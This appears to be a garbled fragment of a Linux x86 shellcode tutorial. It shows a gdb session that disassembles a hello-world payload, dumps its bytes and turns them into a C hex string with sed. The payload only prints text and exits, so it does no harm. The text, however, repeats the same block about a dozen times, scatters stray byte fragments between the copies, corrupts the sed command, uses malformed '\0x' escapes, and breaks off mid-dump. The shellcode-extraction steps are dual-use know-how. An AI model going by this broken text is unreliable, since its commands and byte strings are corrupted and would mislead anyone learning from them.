"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x89
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xf1
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xba" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x0c
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xcd
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x80
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xb8
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
